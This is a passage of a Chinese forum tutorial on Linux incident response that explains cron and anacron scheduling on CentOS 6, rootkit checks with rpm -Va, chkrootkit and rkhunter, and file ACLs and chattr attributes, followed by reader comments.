# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
```

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的？
我们再仔细看一下，注意到CentOS5下的/etc/cron.d目录为空。

```
[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0
```

而CentOS6下有一个0hourly

```
[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly
```

看一下执行的任务

```
[root@localhost /]# cat /etc/cron.d/0hourly
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly
```

然后看一下/etc/cron.hourly所执行的脚本

```
[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron
#!/bin/bash
# Skip excecution unless the date has changed from the previous run
if test -r /var/spool/anacron/cron.daily; then
   day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
   exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
   /usr/bin/on_ac_power &> /dev/null
   if test $? -eq 1; then
   exit 0
   fi
fi
/usr/sbin/anacron -s
```

然后看一下/etc/anacrontab的内容

```
[root@localhost /]# cat /etc/anacrontab
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1    5    cron.daily        nice run-parts /etc/cron.daily
7    25    cron.weekly        nice run-parts /etc/cron.weekly
@monthly 45    cron.monthly        nice run-parts /etc/cron.monthly
```

这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6
里面，crond会检查/etc/cron.d里面的配置，里面有一个0hourly文件，每小时去运行一次/etc/cron.hourly目录，该目录下面有一个0anacron文件，这样0anacron文件就
-s。anacron读取配置文件/etc/anacrontab，将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比，如果需要则去运行/etc/anacrontab对应的条目。

总结：

应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly，/etc/anacrontab 。
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试：
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt
[root@localhost cron.weekly]# /usr/sbin/anacron -s
等待一分多钟后，可以看到

```
[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt
1
```

0x09 Rootkit

检查命令替换
1）系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。
例如我替换一下/bin/ps，然后使用rpm -qaV查看

```
[root@vincenthostname tmp]# rpm -qaV
S.?....T. /bin/ps
```

2）比对命令的大小
例如正常的ps和netstat大小

```
[root@vincent tmp]# ll /bin/ps
-rwxr-xr-x 1 root root 87112 11■ 15 2012 /bin/ps
[root@vincent tmp]# ll /bin/netstat
-rwxr-xr-x 1 root root 128216 5■ 10 2012 /bin/netstat
```

下面是其中有一次应急时的记录

```
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x. 2 root root 4096 Aug 17 16:26 .
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat
```

可以看到ps和netstat是一样大的。
3）查看命令的修改时间，按修改时间排序

```
ls -alt /bin/ | head -n 5
```

4）使用chkrootkit和rkhunter查看

chkrootkit

1、准备gcc编译环境
对于CentOS系统，执行下述三条命令：

```
yum -y install gcc gcc-c++ make glibc*
```

2、下载chkrootkit源码

chkrootkit的官方网站为 http://www.chkrootkit.org ，下述下载地址为官方地址。为了安全起见，务必在官方下载此程序：

```
[root@www ~]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
```

3、解压下载回来的安装包

```
[root@www ~]# tar zxf chkrootkit.tar.gz
```

4、编译安装（后文命令中出现的"*"无需替换成具体字符，原样复制执行即可）

```
[root@www ~]# cd chkrootkit-*

[root@www ~]# make sense
```

注意，上面的编译命令为make sense。

5、把编译好的文件部署到/usr/local/目录中，并删除遗留的文件

```
[root@www ~]# cd ..
[root@www ~]# cp -r chkrootkit- /usr/local/chkrootkit
[root@www ~]# rm -r chkrootkit-
```

至此，安装完毕。

使用方法
安装好的chkrootkit程序位于 /usr/local/chkrootkit/chkrootkit
直接执行

```
root@vm:~# /usr/local/chkrootkit/chkrootkit
```

rkhunter

在安装了kbeast的系统上测试，发现检测效果不如rkhunter好。

下载地址： http://sourceforge.net/projects/rkhunter/files/

1）安装

```
tar -xvf rkhunter-1.4.0.tar.gz
cd rkhunter-1.4.0
./installer.sh –install
```

在安装了kbeast的系统上测试，可以成功检测到。

```
/usr/local/bin/rkhunter –check -sk
[19:50:27] Rootkit checks…
[19:50:27] Rootkits checked : 389
[19:50:27] Possible rootkits: 1
[19:50:27] Rootkit names : KBeast Rootkit
```

2）在线升级
rkhunter是通过一个含有rootkit名字的数据库来检测系统的rootkits漏洞, 所以经常更新该数据库非常重要, 你可以通过下面命令来更新该数据库:
执行命令：

```
rkhunter –update
```

3）检测最新版本
让 rkhunter 保持在最新的版本；
执行命令：

```
rkhunter –versioncheck
```

0x10 病毒检测

```
https://x.threatbook.cn/
http://www.virscan.org
https://www.virustotal.com/
https://fireeye.ijinshan.com/
```

0x11 文件权限

setfacl与getfacl

ACL 全称 Access Control Lists 翻译成中文叫"访问控制列表",传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行)的不同组合来实现的。随着应用的发展，这些权限组合已不能适应现时复杂的文件系统权限控制要求。 例如，目录 /data 的权限为：drwxr-x—，所有者与所属组均为 root，在不改变所有者的前提下，要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)
(1) 给 /data 的 other 类别增加 rwx permission，这样由于 tom 会被归为 other 类别，那么他也将拥有 rwx 权限。
(2) 将 tom 加入到 root group，为 root group 分配 rwx 权限，那么他也将拥有 rwx 权限。
以上 2 种方法其实都不合适
为了解决这些问题，Linux 开发出了一套新的文件系统权限管理方法，叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说，ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。
文件的所有者以及有CAP_FOWNER的用户进程可以设置一个文件的acl。（在目前的linux系统上，root用户是唯一有CAP_FOWNER能力的用户）
ACL 有两种:

access ACL

针对文件和目录设置访问控制列表。

一种是default ACL，只能针对目录设置。如果目录中的文件没有设置 ACL，它就会使用该目录的默认 ACL.
1）getfacl
获取文件权限

```
[root@vincent tmp]# getfacl 1.cap
# file: 1.cap
# owner: root
# group: root
user::rw-
group::r--
other::r--
```

2）setfacl
Access ACL
比如我设置/tmp/1.sh的other权限为000，然后切换到vinc账户。

```
[vinc@vincent tmp]$ cat 1.sh
cat: 1.sh: ■■■■
```

然后我们添加ACL

```
[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh
```

然后我们使用ll查看，发现第一个字段文件权限第十位变成了+号

```
[root@vincent tmp]# ll 1.sh
-rwxrwx---+ 1 root root 512 8■   9 03:21 1.sh
```

然后我们使用getfacl查看

```
[vinc@vincent tmp]$ getfacl 1.sh
# file: 1.sh
# owner: root
# group: root
user::rwx
user:vinc:rwx
group::r-x
```

```
mask::rwx
other::---
```

我们切换到vinc账户就可以查看内容了

```
[vinc@vincent tmp]$ cat 1.sh
test
```

删除这条ACL

```
[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh
```

取消所有的ACL

```
[root@vincent tmp]# setfacl -b /tmp/1.sh
```

Default ACl

前面所说都是access acl，针对文件而言，而default acl是指对于一个目录进行default acl设置，并且在此目录下建立的文件都将继承此目录的acl。

```
[root@vincent opt]# setfacl -d -m u:hehe:--- 1
```

来看下目录1的权限

```
[root@vincent opt]# getfacl -c 1
user::rwx
group::r-x
other::r-x
default:user::rwx
default:user:hehe:---
default:group::r-x
default:mask::r-x
default:other::r-x
```

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件，然后查看一下ACL

```
[vinc@vincent 1]$ getfacl 222
# file: 222
# owner: vinc
# group: vinc
user::rw-
user:hehe:---
group::r-x            #effective:r--
mask::r--
other::r--
```

切换到hehe账户，查看文件，提示权限不够。

```
[hehe@vincent 1]$ cat /opt/1/222
cat: /opt/1/222: ■■■■
```

lsattr和chattr

chattr

修改属性能够提高系统的安全 性，但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录
a：即append，设定该参数后，只能向文件中添加数据，而不能删除，多用于服务器日志文件安全，只有root才能设定这个属性。
i：设定文件不能被删除、改名、设定链接关系，同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
s：保密性地删除文件或目录，即硬盘空间被全部收回。
u：与s相反，当设定为u时，数据内容其实还存在磁盘中，可以用于undeletion。
例子：
设置/etc/resolv.conf为不可修改

```
[root@vincent tmp]# chattr +i /etc/resolv.conf
[root@vincent tmp]# lsattr /etc/resolv.conf
----i--------e- /etc/resolv.conf
[root@vincent tmp]# echo "" > /etc/resolv.conf
-bash: /etc/resolv.conf: ■■■■
```

lsattr

查看文件权限

```
[root@vincent tmp]# lsattr 1.txt
-----a-------e- 1.txt
```

点击收藏 | 3 关注 | 1

上一篇：廖雪峰python2.7PDF可打印版 下一篇：使用PowerShell找到可写的...

1. 17 条回复

vinc 2017-09-22 03:52:27

链接貌似都没生效

0 回复Ta

123456iii 2017-09-22 07:22:40

过来学习学习，谢谢分享

0 回复Ta


vinc 2017-09-22 08:40:05

666 重新编排完好看多了

0 回复Ta


hades 2017-09-22 08:40:15

眼睛已瞎 编辑的快吐血~~~

0 回复Ta


c0de 2017-09-22 09:04:42

很专业，感谢楼主分享，再加上inotify，可以监控到更多的东西。

0 回复Ta


vinc 2017-09-22 09:23:14

嗯 后面有时间总结一篇运维安全的文章 可以写上inotify

0 回复Ta


c0de 2017-09-22 09:43:51

坐等楼主分享。

0 回复Ta


hades 2017-09-22 09:49:37

坐等楼主下篇~

0 回复Ta


御剑江湖 2017-09-22 15:58:26

应急响应好文，感谢楼主分享，OSSEC的确是个很好的监控平台

0 回复Ta


vinc 2017-09-25 01:58:22

OSSEC可以扩展一些自己的监控也挺好。

0 回复Ta


wooyun 2017-09-25 02:21:51

确实写的好啊

0 回复Ta


only 2017-09-25 02:53:09

强烈推荐!

0 回复Ta


hades 2017-09-25 03:02:01

欢迎后续的补充~

0 回复Ta


theone 2017-09-26 08:03:43

赞一个！写的很详细！学到了不少

0 回复Ta


apple 2017-09-27 09:11:34

谢谢分享，第一次看到如此详细的好文

0 回复Ta


c0de 2017-09-30 04:46:40

这篇帖子，我觉得完全有理由置顶

0 回复Ta


cover 2017-12-04 15:19:45

很棒

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板